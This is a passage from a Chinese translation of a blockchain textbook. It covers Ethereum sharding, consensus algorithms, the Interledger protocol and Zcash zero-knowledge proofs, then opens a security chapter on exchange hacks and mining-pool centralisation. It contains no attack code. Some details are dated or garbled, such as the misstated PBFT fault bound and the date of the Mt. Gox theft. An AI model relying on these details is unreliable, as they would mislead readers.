以太坊中的分片方案可以分为任意数量的分片,每个分片都维护自己的历史和状态。让我们考虑一种方案,根据某些标准将区块链分为 K 个分片的情况。分片的一个示例标准可以是资产,其中属于不同资产的交易被维护在不同的分片上。由于每个分片维护自己的状态,因此在分片中创建的交易的影响仅限于该分片的状态。

分片中的组件

每个分片在一个整理中维护数据,这类似于主区块链中的块。每个整理包含一组以 blob 形式的数据。每个整理者都包含一个头部和主体,类似于主链中的块。图 9.8描述了 blob 如何被转换为块,然后通过构建由块作为叶子的 Merkle 树为这些块创建 Merkle 证明。创建了一系列整理,这是分片的区块链。主链仍然存在,由每个人处理,但他们只存储分片的整理头。分片的最长链称为规范链,其头部将驻留在主链上:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 9.8:分片中的整理和 blob

分片中有称为提议者的节点。这些节点可以选择分片或随机选择它们。提议者负责接受 blob 并创建整理。因此他们也充当整理者。公证人是下载和验证整理的实体。它们被分配到分片,并通过随机信标链(使用一些可验证的随机函数)在每个时期随机洗牌到新的分片。他们还将就整理数据的可用性进行投票。

一个委员会将检查投票,并决定是否将整理头包含在主链中。整理头将建立与驻留在分片中的整理数据的链接。

分片区块链的设计

对区块链进行分区并将其分布到不同的分片需要各种参与者,正如前一节所述。网络中的所有这些参与者将确保每个分片的整理数据与主链相连。分片架构由于分布式分片和去中心化网络中的多种类型的参与者而存在几个安全问题。

如果区块链的设计能够保持诚实多数,其中超过 50%的验证者遵循协议的诚实行为,则该设计被认为是安全的。如果存在无协调的多数,则该值可以较低。

无协调的多数是一种实现多数的行为,但其中不超过 50%(通常在 20%到 50%之间)的验证者能够协调行动。

分片区块链的设计将网络中一个分片的交易与其他分片隔离开来。如果一个节点需要与其他分片上的节点执行交易,那么这并不像经典区块链设计那样简单。以太坊分片使用了一个称为 receipt 的概念来执行跨分片通信。

跨分片通信

可能会出现一种情况,即一笔交易需要在两个或多个分片之间共享。以太坊使用由一个分片中的节点创建的收据来确认交易。让我们考虑这样一个场景,即位于分片M中的用户A想要将 100 枚硬币发送给分片N中的用户B。跨分片通信可以通过以下步骤建立:

  1. 在分片M上创建一笔用于扣除硬币的交易。

  2. 为用户AB之间的 100 枚硬币的交易创建一个收据。这笔交易不会保存在状态上,但是收据的存在可以由分片N中的用户验证。

  3. 在分片N上创建并发送一笔包含收据默克尔证明的交易。该交易还确认了收据未被使用。用户B在分片N上的余额增加了 100 枚硬币。

一些复杂的情况可能会导致跨多个分片进行通信,以从其他分片的状态中查询数据。

共识算法的演进

我们已经在本书的几个章节中接触了比特币的工作证明PoW)共识算法。 PoW 算法是去中心化网络协议的支柱。尽管比特币的共识算法已被证明在无信任网络中实现共识是有效的,但由于挖矿过程中花费的计算资源而导致的成本效率仍然不高。

已经开发并实施了许多替代共识算法,以在不产生过多开销的情况下达到相同程度的去中心化信任。

股权证明(PoS)

PoS 算法通过不依赖计算资源来实现共识,消除了 PoW 的大部分问题。PoS 使用验证者,与 PoW 中的矿工相反,它们不执行任何工作来促进去中心化。 PoS 验证者的贡献取决于他们在系统中流通的加密货币硬币的份额。持有三枚硬币的验证者比持有一枚硬币的验证者更有可能对验证做出贡献。还有其他因素会随机化该过程,以避免持有主要利益的一个验证者垄断验证过程。Peercoin 是第一个采用 PoS 的,随后是 Nxt 和 BlackCoin。以太坊目前正在使用 PoW,但 PoS 正在积极开发中,并计划在不久的将来在主网上实施 PoS。

除了其广泛的益处外,在实施过程中也存在一些问题。有关 PoS 与 PoW 的白皮书([`bitfury.com/content/downloads/pos-vs-pow-

由 BitFury 团队发布的1.0.2.pdf`列出了一些可能的攻击,例如长期攻击,贿赂攻击,硬币年龄累积攻击和预计算攻击。 在公共分散网络中确保完全安全并不容易。 即使弹性的 PoW 从理论上也容易受到 51%攻击的威胁,这可能导致双重花费(我们将在第十章中介绍 PoW 的安全问题,区块链安全)。 PoS 算法通过对节点进行惩罚防止攻击。 以太坊要求每个节点拥有至少 1250 个以太来参与验证。 验证者的最低押金防止它们在网络中不诚实。

活动证明(PoA)

大多数使用 PoW 的加密货币和区块链平台的代币供应有限。 例如,比特币只会铸造 2100 万个硬币,最后一个硬币将在 2140 年左右铸造。 当所有硬币被铸造后,矿工将不得不完全依赖交易费用作为他们的激励。 根据比特币当前的难度水平,它可能达到一个水平,使得矿工参与挖矿过程可能不经济。 现有的矿工可能会尝试执行不诚实的行为,并通过无效的交易破坏区块链系统以获取自己的利益。 PoA 被提议作为比特币可以采用的替代共识算法。 它是一种混合方法,结合了 PoW 和 PoS。

在区块创建期间,挖矿节点利用计算资源通过解决哈希难题执行 PoW。 PoW 过程不会添加任何交易; 相反,它们只创建带有矿工详细信息的块头。 PoS 用于根据块头信息随机选择验证者来进一步处理块。 这个共识阶段的处理方式与基于 PoS 的系统类似。 如果选择的验证者无法对块进行签名,则选择下一个最佳块,并应用相同的 PoS 验证过程。 每个块被包含在区块链中后,PoW 和 PoS 矿工都会收到他们的激励。

Decred 是一种加密货币,于 2016 年 2 月推出,并利用 PoA 来实现网络中的共识。

拜占庭容错(BFT)共识模型

共识算法设计在分布式系统中以容忍与拜占庭将军问题相关的拜占庭故障(有关拜占庭将军问题的定义,请参阅第一章,介绍)。 尽管 PoW 和 PoS 对拜占庭故障有容忍度,但是要付出代价。 几种变体的拜占庭容错BFT)共识模型已被提出作为在不受信任的分布式网络中解决此问题的解决方案。

Practical Byzantine Fault Tolerance (PBFT)

PBFT 共识算法由 Miguel Castro 和 Barbara Liskov 提出,作为分布式系统中拜占庭将军问题的实际解决方案。如果状态发生变化,它通过投票机制在节点之间达成共识。该算法在3f+1个节点中至少需要f个失败节点。PBFT 对系统总体的开销约为 3%,这是对基于 PoW 共识的系统的巨大改进。就节点规模而言,PBFT 仍然是一个挑战,因为随着节点数量的增加,开销会增加。

Hyperledger Fabric 项目使用 PBFT 协议在许可区块链中实现高交易吞吐量。

联邦拜占庭容错(FBFT)

FBFT 是 BFT 算法的一种变体,已在基于支付协议的区块链平台(如 Ripple 和 Stellar)中实现。这些平台都执行关键交易,如跨境支付,涉及法定货币。由于它们的关键性,共识模型应具有容错性,以避免任何攻击。

Ripple 共识协议

Ripple 共识协议的概述在上一章中进行了介绍,以及其平台的架构。每个节点通过对交易进行投票来实现 FBFT 共识模型。网络中的每个节点都维护一个称为Unique Node ListUNL)的列表,其中包含受信任的 Ripple 节点。每个节点向其 UNL 中的节点广播一组称为候选集的交易。每个节点将验证交易并为每个交易广播其投票。根据收到的每个交易的投票,每个节点调整候选集。当特定候选集收到来自 UNL 中所有节点 80%的投票时,所有候选集中的交易都通过将其添加到区块链分类帐中进行确认。Ripple 分类帐进入封闭状态,并且所有未确认的交易将在下一轮投票中继续进行。

Ripple 通过轮次进行投票机制,以从所有节点中获得最小共识,然后才能提交交易。FBFT 甚至比无权限网络实现更高的交易速率。因此,它可以应用于需要更高可伸缩性的关键金融系统中。

时间证明(PoET)

PoET 是一种旨在解决现有共识协议面临的性能问题的共识算法。它使用受信任的执行环境解决拜占庭将军问题。由于其受信任的执行模型,它仅适用于许可区块链网络。PoET 共识已在由 Intel 支持的许可区块链项目 Hyperledger Sawtooth 中实现。网络中的受信任执行环境是通过 Intel 的软件保护扩展SGX)实现的,这是一组指令集,允许用户代码分配私有内存区域。

类似于 PoS 算法,PoET 选举一个随机的节点来构建下一个块,但不涉及质押。相反,节点需要在参与块创建过程之前等待随机的时间量。由于每个节点都会有一个随机的等待时间,第一个完成等待时间的节点将创建块。每个节点都必须向网络证明几件事情,以使自己有资格成为被选举的节点:

  • 证明节点已经选择了随机等待时间

  • 证明节点已经等待了选择的随机等待时间

每个节点通过在受保护环境中运行受信任的代码来满足这些要求,借助英特尔的 SGX 指令集。参与选举的节点从受信任的函数中获取等待时间。等待时间最短的节点将成为下一个要创建的块的领导者。一个函数,比如说,CreateTimer,会设置计时器,另一个函数,比如说,CheckTimer,会在计时器到期时创建一个证明。这个证明证明了节点在创建块之前等待了指定的等待时间。网络上的每个节点都将使用这个证明来验证块。

网络中的每个节点都将下载受信任的代码,并执行初始握手以建立受信任的网络。作为握手的一部分,节点将为受信任的代码创建一对密钥,并将其公钥发布到整个网络。

PoET 承诺通过其基于时间的选举机制实现共识的更高性能,并且对于私有企业区块链网络而言是理想的。但是,由于需要专门的硬件来创建受保护的执行环境,权限模型对于公共网络来说并不实用。

跨链协议

分布式区块链账本是一个不断发展的领域,许多应用程序经常被实现。就像任何计算机技术一样,需要定期更新一样,现有的区块链系统需要更新以跟上不断发展的技术。与其他集中式系统不同,对现有区块链的广泛更改将导致硬分叉,因为节点的去中心化。现有的区块链系统受到受限的创新或与发展的协议集成的限制。

跨链协议的开发是为了将现有的区块链应用与新发展的系统集成,并使多个区块链网络能够相互通信。跨链通信协议还有助于通过集成多个账本来扩展区块链网络。

几个项目一直致力于实施跨链协议。CosmosPolkadotInterledger 是一些以自己的方式实施跨链协议的项目。Cosmos 和 Polkadot 拥有自己的区块链生态系统,具有几个组件可以与其他独立的区块链系统进行通信。Interledger 是一个用于在支付系统之间进行支付的协议。在接下来的部分中,我们将分析使用 Interledger 在支付系统中实现跨链协议。

Interledger 协议(ILP)

全球范围内的所有支付系统都建立在单一的支付网络中运行,并且所有资产和交易细节都由单一的分类帐维护。即使是比特币等数字货币也将所有交易记录在单一的公共分类帐中,尽管分类帐的副本分布在整个网络中。在单一分类帐中可以轻松维护交易,但要垂直扩展这样的分类帐将会很困难。我们在本章的分片部分分析了单一分类帐的可扩展性。除此之外,各种不同的支付系统永远不会就单一的分布式分类帐或其相应的共识机制达成一致。能够连接多个支付系统并在网络中执行低成本交易的协议将是现有分类帐垂直扩展的一个很好的解决方案。

Interledger 协议提供了一种安全地在不同分类帐之间转移价值的系统,它也经常与其他支付系统一起使用。Interledger 在参与者的分类帐之间指定连接器来执行交易。与任何现有的支付网关服务不同,由于分类帐提供的托管,参与者无需信任这些连接器。该协议不仅可以在基于区块链的分类帐之间实现价值转移,还可以与传统支付系统(如 PayPal)建立连接:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 9.9:Interledger 协议(ILP)用例

Interledger 组件

  • 发送者 将资产发送给已知的接收者。他们将通过选择连接器来启动付款。

  • 接收者 将期望从特定发送者处收到资产。他们需要成为 Interledger 付款网络的一部分。

  • 连接器 将发送者与接收者连接起来,使 ILP 付款成为可能。连接器还会与其他连接器建立连接。这是为了通过为每笔付款建立的连接器链将尽可能多的发送者连接到接收者。

  • 分类帐 对网络中每个参与者的资产信息进行簿记:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 9.10:Interledger 组件

Interledger 设计

当前的支付系统提供了一种在不同账本之间转移价值的方式,即支付网关。它们充当支付银行之间的中介。现有系统的主要关注点是安全性和速度。这些网关由第三方管理,用户需要依赖这些实体来确保安全。在这样的支付网络中,交易结算较慢,因为网关必须处理多个支付银行。Interledger 引入了账本之间的连接器,建立了发送者和接收者之间的联系。该系统中的账本创建了一个托管机制,这是在账本之间进行交易时将资金锁定的密码条件。账本创建的密码条件作为托管机制保证只有在接收者确认后才将资金转移到连接器:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 9.11:将资金转移给连接器(来源:https://interledger.org)

分布式网络受到错误或恶意行为者的威胁。条件托管的资金是一个重要的安全功能,可以确保资金只有在收到确认后才会转移。

账本托管使用密码签名。任何人都可以验证签名以检查条件是否已满足。

支付过程可以使用 Interledger 中的两种模型来执行。这些是原子支付和通用支付。

原子支付

Interledger 支付保证了转移要么执行要么中止。它使用一种承诺协议,在决定是否执行或中止交易之前,会先确定系统的准备情况。分布式系统中的承诺协议使用一组被称为记账人的交易管理器。这些记账人用于在不受信任的拜占庭节点之间达成共识。

当交易发生之前,支付网络中可能涉及多个连接器在发送者和接收者之间。连接器的数量取决于参与者之间的选择路线,这取决于跳数或涉及的费用。图 9.12显示,在节点**p[1]p[n]**之间进行交易时,有n-1个账本之间有n-2个连接器:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 9.12:具有多个连接器的支付路线(来源:https://interledger.org)

支付网络中的所有连接器都是可能在交易过程中表现出错误行为的拜占庭节点。选定的记账人* N 需要在拜占庭节点之间达成共识。不可信的记账人需要具有容错能力,以创建原子交易。网络应确保在3f+1个节点中,不超过f*个故障的记账人节点。

在发送方可以开始转账之前,必须选择连接器路径,考虑到它们的费用和汇率。一旦选择了最佳路径,在交易过程中可以观察到以下阶段:

  1. 参与者选举了一组公证人。选举应确保故障公证人的数量应少于 3f+1 个公证人中的 f 个。

  2. 付款发送方向每个连接器提出转账请求。所有连接器都将验证汇率是否与其汇率匹配。一旦所有连接器确认批准提案,发送方将开始准备转账。

  3. 发送方准备从总账向连接器进行转账,并请求连接器准备好从路径中相邻连接器到下一个总账的转账。每个连接器在确认资金已经托管后将准备好进行转账。

  4. 资金的最终接收方在每个总账的资金被托管后将签署收据。如果公证人及时收到收据,则公证人将向交易中的所有参与者转发执行消息。

通用支付

与原子支付模型不同,此模型中没有充当交易管理器的公证人。它使用网络内部的参与者来达成共识。尽管它消除了与外部协调器的交互,但它可以确保在已知环境中只对非故障参与者进行安全保障。由于网络的不信任参与者显示出故障行为,通用支付的实际考虑并不简单。

除了提供多个总账之间的连接外,Interledger 不依赖于任何其他系统,因此可以根据需要自由扩展系统。它还保护交易详情的隐私。因此,Interledger 提供的跨总账支付协议极大地简化了金融系统之间的通信。Interledger 项目的更多实现细节可以在 github.com/interledger 找到。

隐私增强

众所周知,比特币在区块中存储了交易中账户拥有的资金历史。每个交易包含诸如发送方地址、接收方地址和价值等敏感信息。所有数据都被网络中的每个节点用于在区块可以包含在区块链之前验证交易。比特币的去中心化验证强制交易透明,因为没有中央机构。

比特币的区块链提供了安全性,防止交易被篡改,尽管它们对所有人都是可见的。尽管区块链保护了交易免受许多攻击,但它并不像其他支付服务那样向账户持有者提供完整的隐私保护。比特币网络上的任何人都可以追踪交易的历史,而无需进行任何身份验证。披露交易历史可能会暴露特定账户的敏感信息,如最近的交易或账户余额。比特币网络上的有限隐私一直是用户的主要关注点之一。由于大多数区块链项目都是从比特币发展而来的,它们遵循了类似的透明度模型。大多数区块链应用程序的伪匿名特性为其用户提供了一定程度的隐私。

伪匿名(伪匿名)是一个个人或团体的身份,它不披露其真实身份。比特币用户通过其公共地址进行标识,而不会透露其真实身份。

一种名为 Zerocoin 的匿名加密货币是由约翰斯·霍普金斯大学的研究人员提出的。Zerocoin 使用零知识证明来为比特币提供一个扩展,通过创建匿名交易来增强其隐私。后来提出了一种改进的协议,称为 Zerocash,它是一种使用一种特殊类型的零知识证明称为 zk-SNARKs 的独立加密货币。Zerocash 后来发展成了一种名为 Zcash 的完整数字加密货币。

自 Zcash 发明以来,已经开发了几种应用程序,通过实现类似的协议来提供隐私保护。Monero、Dash、Verge,甚至是比特币的一个分叉称为 Bitcoin Private 都是一些后来推出的基于隐私的加密货币。在本节中,我们将更详细地探讨 Zcash,以及用于确保其交易隐私的基础协议。

零知识证明

零知识证明是实现 Zcash 中的匿名性的重要密码原语。这是一种方法,其中一方,比如说,Alice,拥有一些秘密信息,可以向另一方,Bob,证明她拥有这些信息,而不实际披露它。每个零知识证明都会涉及两个当事人,一个证明者和一个验证者。证明者始终拥有被保密的知识,而验证者将验证证明者的陈述。证明者应该在创建证明时始终利用秘密知识,这意味着验证者不应该能够在没有秘密知识的情况下向其他方复制证明。每当证明者创建零知识证明时,它应该满足以下属性:

  • 完整性:如果一个陈述是真实的,那么一个诚实的验证者应该被一个诚实的证明者的陈述所说服。

  • 声明的正确性:如果陈述是错误的,没有不诚实的证明者可以说服验证者它是真的。可能有一些可以忽略的特例。

  • 零知识:如果陈述为真,验证者除了陈述本身之外不会学到任何东西。

零知识证明是概率证明。存在着声明错误的小概率,其中不诚实的证明者可以说服验证者一个错误的陈述。

一般的例子

让我们来看一些零知识证明系统的示例。

一名扑克魔术师

让我们来看一个扑克魔术师的例子,他声称自己知道一种魔术,可以预测观众所猜的任意一张牌。在这个例子中,魔术师是证明者,观众是验证者,魔术是秘密知识。证明他们知道这个魔术的唯一方法是进行表演。魔术师要求观众想一张牌。观众想好一张牌后,魔术师挥动魔棒,拿出一张牌。观众确认这正是选中的牌,他们现在相信魔术师知道这个魔术。如果观众仍需确认,他们可以要求魔术师再次表演魔术。

这个例子模拟了零知识证明系统。魔术师是证明者,观众是验证者。魔术师证明他们知道这个魔术,而不实际透露魔术,这符合零知识要求。如果魔术师知道这个魔术,他们将永远能够表演,从而证明了完备性。如果魔术师虚假声称知道这个魔术,表演魔术将揭露他们的虚假声明。尽管有很小的可能性,魔术师会在不知道魔术的情况下预测对卡,概率是 1/52(因为一副牌中有 52 张卡)。这个概率很小,如果多次进行魔术表演,这个概率将变得微乎其微。

zk-SNARKs

zk-SNARK 代表 Zero-Knowledge Succinct Non-Interactive Argument of Knowledge。正如其名,这是零知识证明的一个变种,其中你可以证明拥有秘密信息,而无需证明者和验证者之间的互动。

许多零知识证明需要证明者和验证者通过建立一个通道进行持续通信以证明知识。即使之前考虑的例子也需要证明者和验证者的持续参与。zk-SNARK 有一个初始设置阶段,在这个阶段中,证明者和验证者之间共享一个称为公共参数的公共字符串。

Zcash 使用了一个分叉的实现(github.com/zcash/libsnark)的libsnarks(用 C++实现)库来执行 zk-SNARK 操作。

zk-SNARK 允许我们在不必了解执行了什么的情况下验证已执行程序的正确性。虽然这个概念听起来很简单,但 zk-SNARK 的内部工作在第一眼看起来可能会很棘手。我们将根据以太坊博客的建议,将 zk-SNARK 的实现分解为四个主要因素:

  • 二次算术程序的构建QAPs): zk-SNARK 在交易上执行的验证应该返回 true 或 false,而不泄露任何信息。这是通过将交易的逻辑转换为可以在不泄露敏感信息的情况下进行评估的二次多项式方程来实现的。

  • 在随机点进行评估以实现简洁性: 方程中使用的多项式可能相当大。因此,验证者会在随机选择的点上对多项式进行评估。验证者选择的随机点应保持秘密。如果泄露了随机点,则证明者可能会生成一个无效的多项式,该多项式仅在所选点上满足。

  • 同态加密: zk-SNARK 还使用同态加密技术来评估多项式,而不知道秘密点。同态加密技术确保对多项式执行的操作与对秘密点执行的操作相同。

  • 零知识: 证明者必须确保实现了零知识,以便不泄露敏感信息,同时可以评估交易。

Zcash 交易

Zcash 交易涉及发送者和接收者,他们可以具有盲签或透明地址。交易可以具有任何地址组合。具有透明地址的交易是公开交易,而具有盲签地址的交易是私人交易。在某些情况下,发送者或接收者地址可以是盲签的。如果交易的任一端都是盲签的,则需要生成零知识证明:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 9.13: 具有不同类型地址的 Zcash 交易

如果用户使用透明地址执行交易,则所有未花费的交易输出对公众可见。在涉及透明地址的任意数量的交易中间的单个盲签交易地址可以打破交易链。因此,将任何交易价值追溯到实际来源将变得困难。即使有少量的盲签地址,也可能在区块链网络中提供大量的隐私。目前,Zcash 网络中不到 5%的交易是盲签交易,这仍然为其用户提供了相当多的隐私。

由于具有隐蔽地址的交易需要创建零知识证明,因此需要更多的资源和时间(最长 40 秒)。但验证时间可以忽略不计,这对于分散化来说是理想的,因为每个节点都进行验证。与其提供的改进隐私相比,创建隐蔽交易所需的资源和时间成本可以忽略不计。

私人交易

零知识证明及其变体 zk-SNARK 的主要目的是使交易私密化。在诸如比特币的普通交易中,通过未花费的输出(UTXOs)声明交易价值。每个 UTXO 由所有者的公共地址和价值描述。让我们假设 Alice 有1比特币,用UTXO[1]表示:

UTXO1 = (PK1) 

PK[1]是 Alice 的公钥。每个 UTXO 后面还存储了一个随机数,后来 Alice 用这个随机数来保持隐私:

UTXO1 = (PK1, r1) 

现在让我们将 UTXOs 存储为哈希以获得更好的隐私:

H1 = HASH (UTXO1) 

这些哈希值在每个节点上都会被存储,即使已经花费。所以,为了区分已花费和 UTXOs 之间的区别,需要维护一个称为 nullifier set 的单独列表。

Alice 想将 1 比特币转给公钥为PK[2]的 Bob。在花费了UTXO[1]后,Alice 为 Bob 创建了一个新的 UTXO,其价值为 1 比特币:

UTXO2 = (PK2, r2) 

Alice 创建一个 nullifier 来花费 UTXO[1]nf[1] = HASH (r[1])。她还创建了UTXO[2]的哈希值,并将其与 nullifier nf[1] 一起转发给所有公共节点(卡罗尔在图 9.14中)。她还根据图 9.14将新创建的UTXO[2]仅发送给 Bob 的私人渠道:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 9.14: Zcash 中的交易交换

当 Bob 收到**UTXO[2]的哈希值和 nullifier nf[1] 时,他通过检查本地的 nullifier set 来确保UTXO[2]尚未被花费。如果其不存在,他就将 nf[1] 添加到 nullifier set 中。虽然 Bob 已经验证了UTXO[2]的合法性,但他无法确定UTXO[2]**是否真的属于 Alice。唯一能够确认 UTXO 实际属于 Alice 而不暴露密钥的方法,就是借助零知识证明。

除了 Alice 转发的信息之外,图 9.14中还发布了一个零知识证明字符串π,以说服所有节点她知道关于PK[1]、**sk[1]r[1]的信息,其中sk[1]是与PK[1]**对应的私钥。虽然π字符串证明了知识,但不会透露任何机密信息。

摘要

在本章中,我们已经调查了大多数优化和增强区块链技术的技术,以改进这项技术的范围。我们从比特币的基本可扩展性问题开始,并提出了一些解决方案。我们涵盖了区块链应用的网络、共识和应用层的问题,并提出了解决方案。本章后面还讨论了区块链技术的未来可能性,以探索区块链的增强想法。

在接下来的章节中,我们将深入讨论区块链技术的安全方面。

第十章:区块链安全

在研究了大部分区块链技术的概念和应用之后,讨论其优点和缺点是至关重要的,以了解所需的安全级别。在本章中,我们将讨论区块链技术面临的一些重要挑战。在这个过程中,我们还将指出您可能在区块链网络中遇到的可能攻击以及如何防范它们。

我们将在本章中讨论以下主题:

  • 交易安全模型

  • 去中心化安全模型

  • 针对区块链的攻击,包括:

    • 双花攻击

    • 51% 攻击

    • 日蚀攻击

  • 量子计算带来的威胁

区块链技术被应用在分布式公共网络中,因为该技术提供的安全性,包括确保存储在公共账本中的数据完整性。区块链网络比中心化网络面临的威胁更少。然而,由于公共网络中参与了多个不同的组件,区块链网络中确实存在着集中化的问题。除此之外,大多数区块链平台为了定制自己的应用程序而妥协了去中心化原则。由于这个原因,区块链技术的安全性受到了影响。在本章中,我们将研究一些安全模型,并检查区块链技术的安全问题。

交易安全模型

互联网是一个由连接的设备组成的系统,它们使用各种协议相互通信。由于互联网上通信的开放性质,有些人和团体试图通过劫持通信来损害用户的设备或应用程序。这些通常被称为不良行为者,可以在互联网的任何部分找到。由于互联网通信的脆弱性质,很难将这些不良行为者排除在任何系统之外,因此每个应用程序都会实施安全模型以保护免受不良行为者的侵害。

大多数应用程序通过加密传输和接收端之间的流量来确保安全通信。事实上,超过一半的网络流量都使用 HTTPS 协议进行加密。由于互联网攻击的增加,加密流量在实施应用程序安全模型时至关重要。这对于处理身份验证、支付或携带私人用户信息的任何服务的应用程序至关重要。

让我们以用户与在线商店进行交易的示例为例。此交易涉及商家网站与相应银行之间的通信。通常,商家网站使用支付网关来在用户和商家银行之间结算交易。因此,用户发起的任何交易都将通过商家网站到达支付网关。由于交易携带了私人用户信息,如银行账户或信用卡详情,因此需要以安全的方式进行通信。商家使用称为支付卡行业数据安全标准PCI DSS)的标准。它保护用户提供的私人细节。即使在确保安全通信之后,仍有可能存在安全漏洞会危及用户的数据。攻击者可以利用被泄露的数据来窃取用户的资金,甚至窃取其身份以执行欺诈交易。

所有现有服务,尤其是金融服务,都是中心化的,并且严重依赖于加密流量来提供安全性。另一方面,区块链技术采用了分散化模型,并实现了交易的透明度。每笔交易细节都必须是公开的,以便网络节点可以验证交易。向公众公开交易不会透露任何机密用户信息。由于这一点,用户在向区块链网络广播交易信息时无需加密通信。

用户使用私钥来签署交易(类似于银行系统中的账户密码)并在基于区块链的平台上证明其身份。这是索取资金和创建交易所需的唯一机密信息。除了私钥外,没有其他东西可以证明用户的身份,因为用户在区块链网络上没有真实身份。

如果用户丢失了他们的私钥,这等同于失去了所有资产。用户必须保护自己的私钥,以保护其身份和资金。总的来说,区块链安全模型有其利弊。我们将在下一节讨论安全模型的一些风险和优点。

安全模型的风险

拥有私钥足以主张在区块链上创建和注册的资产所有权。虽然私钥消除了在进行交易时维护多份文件以证明用户身份的负担,但它增加了对私钥的严格安全性需求。用户不能丢失他们的私钥,因为它是在区块链上唯一的身份证明。这意味着用户必须保护他们的私钥,通常是存储在钱包中。用户将不得不使用某种加密来保护私钥,以防止它受到攻击者的攻击。然而,与传统交易模型相比,这种系统存在一些主要风险,包括:

  • 在设备上存储私钥信息是不安全的,其中数百个应用程序可以访问设备的存储。

  • 攻击者即使在获得银行或信用卡详细信息后仍需要进行进一步攻击,因为它们通常配备双因素身份验证系统。然而,在区块链平台上,攻击者只需要提取私钥。

  • 中心化服务可以帮助客户在丢失机密信息后通过手动验证来索取其受保护的资产,而在去中心化的区块链应用中无法恢复私人信息,因为没有第三方参与。

区块链应用中保护私人信息是用户的唯一责任。用户可以采用各种方法来保护用户的私钥钱包,包括:

  • 在不同设备上创建多个私钥备份

  • 将包含私钥的设备与互联网隔离开来

  • 将私钥存储在硬件和纸钱包中

  • 扫描用于存储密钥的设备以检测恶意程序

注:生成可存储在物理文件上的私钥所需的信息称为纸钱包。纸钱包是备份私钥的最安全方式,因为它与电子设备和网络都隔离开来。

去中心化安全模型

区块链应用围绕去中心化的原则展开。通过连接形成对等网络的方式实现去中心化。对于大多数(如果不是所有)的区块链节点来说,展现类似功能是至关重要的,以实现纯粹的去中心化网络。这可能是一项艰巨的任务,因为没有权威机构在公共网络上强制执行节点功能的严格规定。许多区块链网络被迫实施中心化以改善性能或与现有的中心化实体集成。这会使去中心化系统暴露于已由现有中心化系统面临的潜在问题。我们将讨论一些导致中心化并使去中心化网络面临潜在威胁的实体。

由于加密货币交易所导致的中心化

比特币(Bitcoin)流行后不久,就出现了几种加密货币。由于加密货币的流行,人们需要一个可以买卖和交换货币的实体。这个实体的运作方式类似于股票交易所,人们可以发布他们的卖单买单。人们开始信任这些交易所代表用户保管他们的私钥。

大多数加密货币交易所将用户的私钥保存在单个服务器上。他们将大部分关键信息存储在连接到互联网的设备上。这迫使交易所账户持有人信任交易所服务器的安全性。用户账户的安全性主要依赖于这些服务器实施的安全性。这与区块链技术的分散安全模型相矛盾,因此打开了使用传统方法对交易所服务器进行攻击的机会。

存储在连接到互联网的设备上的加密货币钱包被称为热钱包。交易所将大部分的硬币存储在热存储中,以便可以立即进行提款。

莫克斯山(Mt. Gox)

莫克斯山是一家日本的加密货币交易所,它面临着加密货币历史上最大的黑客攻击。2011 年,莫克斯山服务器遭受了攻击,大约 850,000 比特币(当时价值 4.5 亿美元)在他们的热钱包存储被破坏后被盗。尽管交易所能够恢复一些比特币,但大部分硬币永远丢失了。最终,在 2014 年 2 月,该公司申请破产。

Bitfinex

在 2016 年 8 月,Bitfinex 钱包被盗了大约 12 万比特币。Bitfinex 将所有客户的比特币资金减少了 36%,包括那些钱包没有被盗的客户。新铸造的 BFX 代币按比例存入客户账户。由于这些代币在其他交易所没有任何内在价值,他们承诺最终会回购这些分发的代币。

Bitfinex 与一个名为Tether的有争议的加密货币代币有关,它的交易标记为 USDT。Tether 声称每发行一个 Tether 代币就拥有一美元。由于其固定价值,Tether 很受欢迎,这有助于在交易所之间进行顺畅的交易。

Coinrail

在撰写本文时,最近一次的黑客攻击发生在 2018 年 6 月的 Coinrail。它是韩国最小的交易所之一,但交易率很高。各种替代币钱包遭到了攻击,据估计当时损失了 3700 万美元。

矿池的中心化

对于任何基于工作证明(PoW)的区块链平台来说,挖矿都至关重要。由于激励机制,挖矿生态系统有了显著的增长。网络中具有挖矿功能的节点具有与常规节点不同的能力。一些节点具有高计算能力,而另一些节点具有有限的计算能力。具有更高计算能力的挖矿节点对区块创建过程的贡献更大,因此获得更多的激励。这通常会使计算能力较低的节点不愿参与挖矿操作。为解决这个问题,创建了一种称为矿池的特殊技术。每个人都可以贡献他们的计算资源。

所有矿池中的参与者根据其贡献获得奖励。矿池允许在挖矿节点之间公平分配激励。然而,通过集中化计算能力,它引入了一种新的安全威胁。

在大多数区块链平台中,区块的创建由矿池控制。图 10.1显示了以太坊网络中的矿池分布。前三个矿池占了超过 50%的挖矿算力:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 10.1:基于 2018 年 24 小时内的挖矿算力,以太坊网络中的矿池分布

同样,图 10.2显示,比特币网络中的前四个矿池组合拥有大部分的挖矿算力:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 10.2:基于 2018 年 24 小时内的挖矿算力,比特币网络中的矿池分布

在去中心化网络中,计算资源的集中往往是一种威胁,因为它们可能控制区块创建过程。如果矿池拥有足够的计算能力,不诚实的节点可能发起 51%攻击。尽管在完全去中心化的网络中进行 51%攻击似乎不现实,但在矿池的帮助下实现这一点是可行的。在本章的后面部分,我们将深入探讨 51%攻击。

区块链上的攻击

由于安全问题,每个应用程序都容易受到某种攻击的威胁。但是由于其安全模型,区块链平台的安全问题与传统应用程序的安全问题有很大不同。对于集中式系统执行的大多数攻击对基于区块链的应用程序不适用。区块链应用程序的去中心化模型使其难以找到漏洞。与传统数据库不同,区块链数据是通过网络节点之间达成共识而创建的,因此破坏区块链网络的唯一方法是找到共识机制中的漏洞。

有多种方法可以阻止网络达成有效共识。然而,并非所有区块链平台都能防止攻击成功。像比特币这样的弹性网络对大多数攻击都不会脆弱,但是知识渊博的入侵者可以威胁到参与者较少的区块链网络。在本节中,我们将讨论一些对区块链网络可行的攻击。

双重支付攻击

